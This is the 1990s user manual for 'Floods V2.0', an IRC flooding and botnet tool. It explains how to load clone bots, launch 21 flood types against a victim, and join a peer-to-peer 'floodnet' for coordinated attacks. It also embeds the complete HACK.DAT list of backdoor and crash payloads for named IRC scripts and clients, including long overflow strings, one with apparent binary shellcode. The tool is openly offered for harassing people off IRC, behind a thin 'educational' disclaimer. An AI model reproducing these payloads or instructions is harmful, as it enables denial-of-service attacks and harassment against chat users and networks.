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╔════════════════════════════════════════════════════════════════════════════╗ ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Floods V2.0 Documentation Floods Copyright 1996 H-Master No parts of this document can be replicated, without the WRITTEN consent of the copyright holder, for uses other than the promotion / distribution of this software. ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Contents ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Contents Introduction Legal Issues Features Bare Necessities Quick Start Explanations of Main Menu Commands Explanations of Sub Menus Floodnet / Botnet Embedded Copy of HACK.DAT News Contact Information ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Introduction ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Floods is a program you use to flood someone off IRC. It includes a list of backdoors as well as commands to control unlimited bots to flood someone out. Floods is an extremely useful tool and is VERY devastating and thus should not be used often as that may cause your ISP to be K-Lined from the IRC network. ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Legal Issues ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Although Floods is a FREEWARE, it is NOT public domain software. If you would like to distribute Floods as part of a shareware distribution, magazine, internet book, CD ROM, etc. please contact me for permission. All commercial use interests in Floods should be directed to h-master@post1.com. The integrity of the original Floods distribution file as distributed by the author is essential. Floods and all of its related files must be distributed together in the original format. The Floods distribution file may not have files added to it or removed from it, and none of its contents may be modified, decompiled, or reverse engineered. Floods is provided "AS IS" without warranty of any kind, either express or implied, including but not limited to the implied warranties of merchantability and fitness for a particular purpose. In no event shall the author be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the author has been advised of the possibility of such damages. Floods is provided as an educational medium. All uses of Floods are assumed by the author to be for education. In no event shall the author be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the author has been advised of the possibility of such damages, due to the misuse of this software, improper handling of this software, etc. ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Features ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Features of Floods: -> Direct IRC connection. No need for mIRC / other programs. -> Complete control over ALL the bots. -> Bots are not pre-loaded and are only loaded when you require them. This saves memory. -> Fast! The code has been optimised and re-optimised and is very fast. -> Floods will stop flooding once the victim is dead or changed his nick. Great way to stop your bots are getting lagged themselves! -> Flood protection. Everytime someone sends you a message or CTCP or whatever, he will be ignored for one minute. The ignroe is set for *!*@<whatever> so clones DO NOT work. -> 21 different floods at 3 different flood levels. That's a whopping 63 floods! -> Includes backdoors for a lot of scripts / bots/clients. The list of backdoors is in HACK.DAT and can be edited by YOU to reflect changes or additions. -> Includes a raw command processor that accepts simple script commands. -> Floodnet / Botnet ability! -> A Floods Advisor which will give you advise on what types of floods to use after asking some questions about the situation. -> Includes 3 level of logging. -> For more enhancements, refer to WHATS.NEW . ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Bare Necessities ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ I'm not sure of this list, but it should not be too far off. -> IBM PC or compatible. -> Microsoft Windows 3.x or Microsoft Windows 95 / NT. -> Winsock 1.1 API compliant networking package. -> Access to internet via PPP. ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Quick Start ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Here's how to start flooding ASAP! 1. Decompress the package which Floods came in. If you are reading this, you should already done that. 2. You should get the following files: * CSWSKCTL VBX 43,648 11-29-96 12:34p CSWSKCTL.VBX FILE_ID DIZ 858 01-23-97 1:00a FILE_ID.DIZ FLOODS DOC 39,407 01-23-97 1:00a FLOODS.DOC * FLOODS EXE 299,952 01-23-97 1:00a floods.exe * HACK DAT 2,491 01-18-97 1:00a HACK.DAT WHATS NEW 4,552 01-23-97 1:00a WHATS.NEW <Note: Those files marked with a "*" are required for the proper> <execution of the program. > 3. Delete all the files you do not want. 4. Start your internet connection. 5. Execute FLOODS.EXE and have fun! ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Explanations of Main Menu Commands ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ Here's a BRIEF explanation of the menu commands in the Main Menu. In the Main Menu (the thing you see immediately when you start the program), there are five menus. They are: Bots Includes commands to control the bots. Light Floods Includes floods that are meant only to be irritating. Medium Floods Includes floods that are meant to flood off people with bad or no flood protection. Heavy Floods Includes floods that are meant to flood off most people. Hacks Includes backdoors for a number of scripts / bots / clients. Under the Bots menu, you will find: Config To let you configure the logging type. Load To let you load more bots. Stop Loading To pause the loading process. Load more bots to resume the loading process. Unload To let you unload loaded bots, so as to save memory. Advisor Starts the Floods Advisor, Stop Flooding To stop flooding on a certain nick. Stop All Flooding To stop flooding everyone. Change Server To let you change the server of the bots. Change Nick To let you change the nicks of the bots. Raw Command To let you directly control a bot. Network To let you connect to a Floods Floodnet / Botnet server. Exit To exit the program. Under the three flood menus, you will find: Action Floods someone with actions. Clientinfo Floods someone with clientinfos requests. CTCP Kill Floods someone with ALL the CTCP floods. DCC Chat Floods someone with DCC chats. DCC Send GarbageFloods someone with DCC sends. DCC Kill Floods someone with both DCC chats and sends. Echo Floods someone with echo requests. Finger Floods someone with finger requests. Halibut Floods someone with halibuts. Hurrican Floods someone with the original Hurrican floods. Junk Text Floods someone by sending him junk messages. Notice Floods someone by sending him junk notices. Ping Floods someone with ping requests. Ping Reply Floods someone by faking ping replys. Random Floods someone with a random flood. Sed Floods someone with seds. Sound Floods someone with sound requests. Time Floods someone with time requests. Trout Floods someone with trouts. Tsunami Floods someone with a tsunami. Userinfo Floods someone with userinfo requests. Version Floods someone with version requests. <Note: The differece between the third floods (Light, Medium and > <Heavy) is the interval between floods and the number of floods to> <send. > <Note: A flood can also be used to flood a channel. Use put the> <name of the channel instead of the name of a person to flood a > <channel. > <E.G: > < #mirc > Under the Hacks menu, you will find: Clients Includes backdoors for clients. Scripts/Bots Includes backdoors for scripts / bots. ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Explanations of Sub Menus ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ When you select certain options in the Main Menu menu commands, a new menu will pop up. This section describes those menus. Note that for ALL sub menus, you must click on the label of the menu (The big button at the very top) in order to activate the command requested. Clicking on the button also closes the sub menu. If you want to close the sub menu but not to perform the command, then use ALT-F4. When you choose Configuration, you will get a menu with the following: Log nothing at all. Log everything that is important. Log everything. These three options determine how sensitive the logging is. Choosing "Log nothing at all." will disable logging. Choosing "Log everything that is important." will only log important events such as logging in and reconnection. Choosing "Log everything." will log everything the bot receives in addition to what the bot does. When you choose Load Bots, you will get a menu with the following: Number of clones to load: Server to use: Port of server: Fake e-mail: "Real" name: Non-sequential nicks "Number of clones to load:" refers to the number of bots you wish to load or add to already existing ones. "Server to use:" refers to the name or IP of the server to connect to. "Port of server:" refers to the port of the server you are connecting to. Usually, this value should be 6667, 7000, 6666, 6668 or 6665, with 6667 being the most common and 6665 the least. "Fake e-mail:" refers to the e-mail address you wish to appear from. Note that if you have an ident server running, then the remote server will take the value from the ident server. ""Real" name:" refers to the name you want others to see when they do a WHOIS on you. "Non-sequential nicks" when checked, will mean that the bots will not have nicks with their numbers-1 appended. E.G: If you have it off, bot one may have a nick like "Dav0" and bot two one like "Dav1" If you have it on, bot one may have a nick like "Dav" and bot two "Fat" When you choose Unload Bots, you will get a menu with the following: Number of clones to unload: Quit gracefully Quit without informing server "Number of clones to unload:" refers to the number of bots to unload starting from the BACK. E.G: If you have 5 bots on and you unload 3 then only bots 1 and 2 will remain. "Quit gracefully" and "Quit without informing server" are used to determine how the bot quits. By using "Quit gracefully", the bot will first inform the server that it is quitting before disconnecting. By using "Quit without informing server", the bot will just disconnect. This will cause the bot to appear to be still on. Until the server pings the bot, the resources dedicated to the bot by the server will be lost. When you choose Advisor, you will get a menu with the following: Some questions, options. Answer all the questions truthfully and if you do not know any of the first 3 answers, put in the second smallest value. If you do not know any of the least 2 answers, put in the biggest value. Note that the reply from the Advisor MAY NOT be correct. You should add in a bit of common sense. If your flood fails, try increasing the "dosage" and if it got your bots off too often, try decreasing it. If that still does not work, then e-mail me and give as much information about the situation as possible. Of course, this would mean that you will not be able to flood the victim then, but then, at least you get to learn. When you choose Change Server, you will get a menu with the following: From ? to ? Change server to: Server to use: Fake e-mail: "Real" name: Non-sequential nicks "From ? to ?" refers to the start and end of the bots to perform the action. The first "?" refers to the start bot number and the other refers to the end bot number. E.G: "From 1 to 3" means that clones 1, 2 and 3 will perform the action. "Change server to:" refers to the name or IP of the server to connect to. For explanations of "Port of server:", "Fake e-mail:", ""Real" name:" and "Non-sequential nicks" refer to previous explanations. When you choose any flood, you will get a menu with the following: Flood Type: Flood: From ? to ? "Flood Type:" is already set and refers to the flood you are going to release. "Flood:" refers to the person / channel to flood. For explanations of "From ? to ?", refer to previous explanation. When you choose Change Nick, you will get a menu with the following: From ? to ? Change nick to: "Change nick to:" refers to the nick to change to. For explanations of "From ? to ?", refer to previous explanation. <Note: If in "From ? to ?", both the "?" are the same, then the bot> <will change to a non-sequential nick. > <E.G: > <From 1 to 1, new nick = "David" > <Bot 1 will change nick to "David" > When you choose Raw Command, you will get a menu with the following: From ? to ? Command to send: "Command to send:" refers to the command to send. Note that this command is in the form of direct server commands, so to send a message, you will use: PRIVMSG <NICK / CHANNEL> <MESSAGE> You are not advised to use this option if you are unfamiliar with direct server commands. Note that if you want to perform more than one command, you can seperate them with a "|". Also, having a number in front of a command will make the bots perform the action for that number of times. Note that this timer CANNOT be nested, so "2 2 PRIVMSG #mirc Hello" will NOT send 4 "Hello"s to #mirc, but will just give an error. E.G: If you have bots 1 to 3 performing "2 PRIVMSG #mirc Hello" then the sequence of actions will be: Bot 1 -> PRIVMSG #mirc Hello Bot 2 -> PRIVMSG #mirc Hello Bot 3 -> PRIVMSG #mirc Hello Bot 1 -> PRIVMSG #mirc Hello Bot 2 -> PRIVMSG #mirc Hello Bot 3 -> PRIVMSG #mirc Hello If you have bots 1 to 3 performing "PRIVMSG #mirc Hello | PRIVMSG #mirc Hello again!" then the sequence of actions will be: Bot 1 -> PRIVMSG #mirc Hello Bot 2 -> PRIVMSG #mirc Hello Bot 3 -> PRIVMSG #mirc Hello Bot 1 -> PRIVMSG #mirc Hello again! Bot 2 -> PRIVMSG #mirc Hello again! Bot 3 -> PRIVMSG #mirc Hello again! <Note: Due to the fact that some bots may be faster than > <others and that some bots may be tied down performing other> <commands, the sequence may NOT be strictly followed. > For explanations of "From ? to ?", refer to previous explanation. When you choose Network, you will get a menu with the following: Connect / Disconnect Connected Hop list And a dropdown menu with: Chat Flood Sort Lists Find an IP "Connect / Disconnect" is a button that displays either "Connect" or "Disconnect" depending whether you are connected, as a client, or not. Use this button to disconnect or connect. "Connected" contains a list of ALL the clients / servers connected to the network. "Hop list" contains a list of ALL the clients / servers connected to the network with the route messages will take to reach them. E.G: 111.111.111.111|666.666.666.666|222.222.222.222 means that if you want to send a message to 222.222.222.222 you need to send the message to 111.111.111.111 which will send the message to 666.666.666.666 which will in turn send the message to 222.222.222.222. Chat Start the network chatting menu. Flood Starts the network flood menu, which will let you select a flood for everyone to flood the victim with. Sort Lists Sorts both your list of network clients / servers. Find an IP Finds either an IP or a hop list in your lists. E.G: If you want to find IP 111.111.111.111 you type in "111.111.111.111". If you want to find the message route to 111.111.111.111, you type "route 111.111.111.111". If you already know the route and just want to have a look at it, type in "666.666.666.666|111.111.111.111", whereby 666.666.666.666 is the route. If you want to list all the clients whose route contain 111.111.111.111 you type in "path 111.111.111.111", note that this list will include "111.111.111.111" itself. <Note: If you choose Network without being the client to any > <connection, then you will be asked whether you want to connect to > <anyone. You need to connect to someone or have someone connect to> <you before you can chat over the network or request for a network > <flood. > When you choose Chat, you will get a menu with the following: A list box A text box The list box will list all the conversation that took place and any other network message such as someone requesting for a flood. Note that if you want to clear the list, just double click on any line in the list box. The text box will allow you to chat. If you just type a message in, then the message will reach everyone on the network. If you use "/MSG <IP> <MESSAGE>", whereby <IP> is the address of someone on the network and <MESSAGE> is the message you want to send, the message will only reach <IP>. It is a good idea to inform others via chat before starting a network flood. When you choose Flood, you will get a menu with the following: Flood level One dropdown list Flood: "Flood level" refers to the intensity of the flood, Light, Medium or Heavy. The dropdown list is used to let you select the flood to request. "Flood:" refers to the nick to flood. When you choose Hacks, you will get a menu with the following: One dropdown list Bot number: Send to: The dropdown list is used to let you select the backdoor to use. "Bot number:" refers to the bot to perform the backdoor. "Send to:" refers to the person to receive the backdoor. <Note: ALL backdoors are stored in HACK.DAT, which you are edit > <yourself to reflect changes or additions. The format of HACK.DAT> <is: > < > <-----<Client/Script>----- > <followed by the hacks. > < > <The hacks themselves are in the format: > < > < <Name of hack>:<Command> > < > <The <Command> format is similiar to the format for raw commands. > < > <There are 3 additional tags for <Command>. They are: > < > < $1 -> Refers to the person to send the backdoor to. > < # -> Refers to the channel to send the backdoor to. If there > < is no "#" in front, then one will be added. > < $? -> The format of this is: $?="<Message>". Whereby <Message> > < refers to a prompt to ask for a command. > < > < For more information, refer to the copy of HACK.DAT embedded in > < this document. > ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Floodnet / Botnet ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ There is now a new way to flood. It normally consists of an eggdrop or some other server which is permanantly on IRC. If someone wishes to join the network, he dcc chats or raw connect to the eggdrop. When anyone on the network decides he doesn't like the nick of a victim, he can use a command, such as !pkill, and EVERYONE on the network with Floodnet / Botnet compatibility will start flooding the victim. This way, using conventional flood protection, Ignore after 5-10 messages / CTCPs, will still get the victim off. Floods has its own built-in Floodnet / Botnet. When you wish to connect to someone, just go to the main menu and select Bot->Network. Floods will then prompt you whether you want to connect and so on. Alternatively, you can go to the Network sub menu and click on the Connect button. If you can connected, the connect button will change to disconnect. Refer to "Explanations of Main Menu Commands" and "Explanations of Sub Menus" for more information. However, there is ONE difference between conventional Floodnet / Botnet and Floods' Floodnet / Botnet. For Floods' Floodnet / Botnet, you DO NOT NEED A SERVER. Everyone on the network can be a server and a client. However, you can only be the client in ONE connection. For example: A -<- B -<- C | ^ | A -<- B means that B is a client F ->- D -<- E connected to A. In this sample network, there is no prominent server, except maybe for A. In this example, if B decides to flood someone, B will send the command string to all DIRECTLY connected to himself: A, C and D. Then those 3 will send the command string to those DIRECTLY connected to them, EXCEPT B. This way, ALL the clients / servers get the command. The only two drawbacks of this system of networking is that if B disconnects, A and C will be out of the network. However, the good news is that Floods will automatically make C and D connect to A. The other drawback is that if D is desperately lagged, then when B wants to flood someone, E and F may not get the message fast enough. But then, this way, as there is no server, no single one of the clients / servers will get too lag due to the network. Of course, if you can get me a FAST PERMANENT site for an eggdrop, I would gladly set one server up. Of course, other than the server, I may use the site for other stuff :). ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Embedded Copy of HACK.DAT ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ This is a copy of the HACK.DAT file contained in the Floods package. -----------------------<< Start of HACK.DAT >>----------------------- -----SCRIPT----- Borg Talk:PRIVMSG # : ╗≥░»╓ Chark Bot:PRIVMSG $1 :ZJEHOVAH | PRIVMSG $1 :ZLEVITICUS | PRIVMSG $1 :ZEXODUS | PRIVMSG $1 :ZGENESIS ClayBear Kill:PRIVMSG $1 :DO /quit ComBot Kill:PRIVMSG $1 :dcc CToolZ Flash:NOTICE $1 :TESTIG !! Djinn:PRIVMSG $1 :DCC SEND blah&kill DweebBot:PRIVMSG $1 :ooook Eggdrop Kill:PRIVMSG $1 :Hello | 3 PRIVMSG $1 :whois 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉδ^3╥ëVëV╕V45V4ìNï╤═Ç3└@═ÇΦ╫ GODbot:PRIVMSG $1 :l33t | PRIVMSG $1 :go l33t lamah Hot Ice V2:PRIVMSG # :a=00220022ice Killer:PRIVMSG $1 :/kgkill /quit KGKILL! M and L:PRIVMSG # :OPME | PRIVMSG # :lunizop Pierce:PRIVMSG $1 :+say /quit Speed Script:PRIVMSG $1 :┐ Stealth User:NOTICE $1 :53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54 Vlad Kill 1:PRIVMSG $1 :note create public time to die | PRIVMSG $1 :note delline | PRIVMSG $1 :note delline 8 | PRIVMSG $1 :note create public 4 m-eye frendz | PRIVMSG $1 :note delline 2 ZoDiaC:PRIVMSG $1 :SUP -----CLIENT----- Acid!IRC:PRIVMSG # : ircii(Linux reg):PRIVMSG $1 :DCC CHAT cow 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1 $+ IRCLE (Mac Client):PRIVMSG $1 :GESTALT Mirc 3.8:JOIN #hellothere! | INVITE $1 #hellothere! | INVITE $1 #hellothere!youpieceofshit! Mirc 3.8 2:JOIN #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | TOPIC #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | INVITE $1 #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | PART #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ VaX:PRIVMSG $1 :action says hello WSIRC Kill:PRIVMSG $1 :A -----------------------<< End of HACK.DAT >>----------------------- ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ News ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ This new section is devoted to announcements, interesting stuff, tips, tricks, questions, etc. on Floods and Floods LITE. Feel free to send me e-mail on additions for this section. - Announcements - -> You can now get the latest copy of Floods at http://www.post1.com/~h-master -> Note that my e-mail has changed! -> I really need a site where you can run an eggdrop, so as to set up a permanent Floodnet / Botnet server. If you send me one that is fast and works, I will upgrade you to supporter status. Also, if you require payment, we can always come to an agreement. - Interesting Stuff / Tips / Tricks - -> Pros and Cons of different types of networking. - If you are in the middle of the network, such as B and D, A -<- B -<- C | ^ | A -<- B means that B is a client F ->- D -<- E connected to A. your messages will be spread to the most people in the least time. This mean that if you want to flood someone, more people will be able to flood with you then if you are at the end of a network, such as F, E, A and C. However, you must have a fast connection or else all the messages passing through you to get to the others will lag you. - I am going to introduce 3 types of networking to you. I am not sure whether they have any "accepted" name and will make them up as we go along. The first type is linear networking: A -<- B -<- C A -<- B means that B is a client connected to A. This, in my opinion is the WORST way to form a network. If any client / server in the middle decides to disconnect, the entire network breaks up into 2. Worst still, if C wants to flood someone, by the time the message reaches A, C may already have started flooding. This means that it's harder to flood together. Imagine if the network consists of 10 clients / servers. If the first wants to flood, he may already stop before the last one starts flooding! The second type is server-based networking: A ->- B -<- C A -<- B means that B is a client | connected to A. ^ | D In this case, B is the server. This is a better type of networking than linear networking because if any CLIENT disconnects, the network is still in one "piece". Also, the maximum number of computers any message has to pass through is one, excluding the sender and receiver. However, there are some requirements. Firstly, B must be VERY fast especially if it's a large network, otherwise, the entire network gets lagged and messages cannot get around fast enough. Secondly, if B does down, the entire network is gone. Not in 2 "pieces" as in linear networking, but totally gone. The last type is client-based networking: A -<- B -<- C | ^ | A -<- B means that B is a client F ->- D -<- E connected to A. In my opinion, this is the best of both worlds. It isn't as slow as linear networking, it doesn't require any particular client / server to be super fast and it doesn't break up totally if any client / server quits. However, as it is still more or less linear-based, it is slower than server-based networking (assuming it takes one unit of time for a message to be passed from any one client / server to another) and it requires that SOME of the clients / servers be reasonaly fast, between linear and server-based requirements. - Frequently Asked Questions - -> Q: When I start Floods, it says that I do not have some of the files. Where can I get them? A: You should be able to get ALL the files required by Floods at my homepage. If you can't, leave me a message. -> Q: Windows reported that I have a "device unavailible" error. What should I do? A: Your copy of winsock.dll is not compatible with Floods. Get a new one. Note that the copy of winsock I am using is the one supplied with Windows 95. -> Q: When I start the program, Windows 95 says that the language file is missing and refuses to run the program. A: This is quite a common problem. There are 2 solutions I can think of. They are: 1. Install Visual Basic 4.0. Once installed, VB4 will set the language.dll option in your win.ini. 2. Set the language.dll option yourself. An easy way to do this is to run setup, change the language to something else. Then save the new settings. After that, if you want the language to be the old one, then run setup again and change it back. Note that this is not guranteed to work, but it worked for me. - Others - -> This area is closed until someone posts me something to say. ╔════════════════════════════════════════════════════════════════════════════╗ ║░░ Contact Information ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║ ╚════════════════════════════════════════════════════════════════════════════╝ If for some reason or another you wish to contact me, here's my info. IRC Nick : H-Master IRC Network : Galaxynet / EFnet / Dalnet (In order of perferences) E-mail : h-master@post1.com (No flames / chains / bombs!) If you want to get the latest copy of Floods, e-mail me or get it from http://www.post1.com/~h-master If you want me to add you to my list of registered users, just e-mail me a reason why you like Floods so much AND an enhancement you would like to see in the next release of Floods. Include your e-mail address, IRC nick, the IRC network(s) you visit most often and the version of Flood you are talking about. If any of the above information is not supplied, then your application may be void. Registered users DO NOT have to pay (for now anyway) and will receive notifications of new Floods releases by e-mail. <Note: A bugfix is considered an enhancement. If you are already a > <registered user and you send me another enhancement, then you will > <be upgraded to a supporter and future versions of the software will> <be mailed through e-mail to you. You will also receive beta copies> <of the software, if you request for them. >